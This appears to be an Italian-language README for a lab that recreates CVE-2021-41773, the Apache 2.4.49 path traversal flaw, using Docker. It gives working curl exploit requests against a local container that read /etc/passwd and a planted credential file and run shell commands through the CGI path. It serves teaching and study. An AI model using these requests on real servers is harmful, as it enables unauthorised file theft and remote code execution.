
Ricreazione e analisi di un curioso errore logico in Apache 2.4.49 che è sfociato in esecuzione remota di codice
CVE-2021-41773 è una vulnerabilità di path traversal scoperta in Apache HTTP Server 2.4.49 nell'ottobre 2021. La causa principale è stata un errore nella normalizzazione delle sequenze di punti finali nell'URL prima di verificare che il percorso richiesto rimanesse all'interno della root web. Questa vulnerabilità permetteva a un attaccante di uscire dalla root web per accedere a file in qualsiasi punto del filesystem del server, con alcuni casi di escalation fino all'esecuzione remota di codice.
2 vettori d'attacco dimostrati in questa esplorazione
Docker
curl
Linux o macOS
Dockerfile - build del container Apache 2.4.49 vulnerabile
exploit.sh - script automatico per la catena di exploit
README.md
Panoramica del Dockerfile:
Nota: assicurati che docker sia installato e in esecuzione
Opzione 1: script automatico
chmod +x exploit.sh
./exploit.sh
Opzione 2: esecuzione manuale
Crea l'immagine ed esegui il container:
sudo docker build -t cve-2021-41773-env .
sudo docker run -d -p 8080:80 --name vulnerable-apache cve-2021-41773-envComandi curl individuali per sperimentazione manuale:
Fase 1 — Leggi il segreto posizionato (traversal puro, nessun CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/secret_credential.txt"
Fase 2 — Leggi /etc/passwd (traversal puro, nessun CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
Fase 3 — RCE: esegui comandi (richiede mod_cgi)
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; id; whoami; uname -a" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
Fase 4 — Catena completa: leggi il segreto tramite RCE
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; cat /etc/secret_credential.txt" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"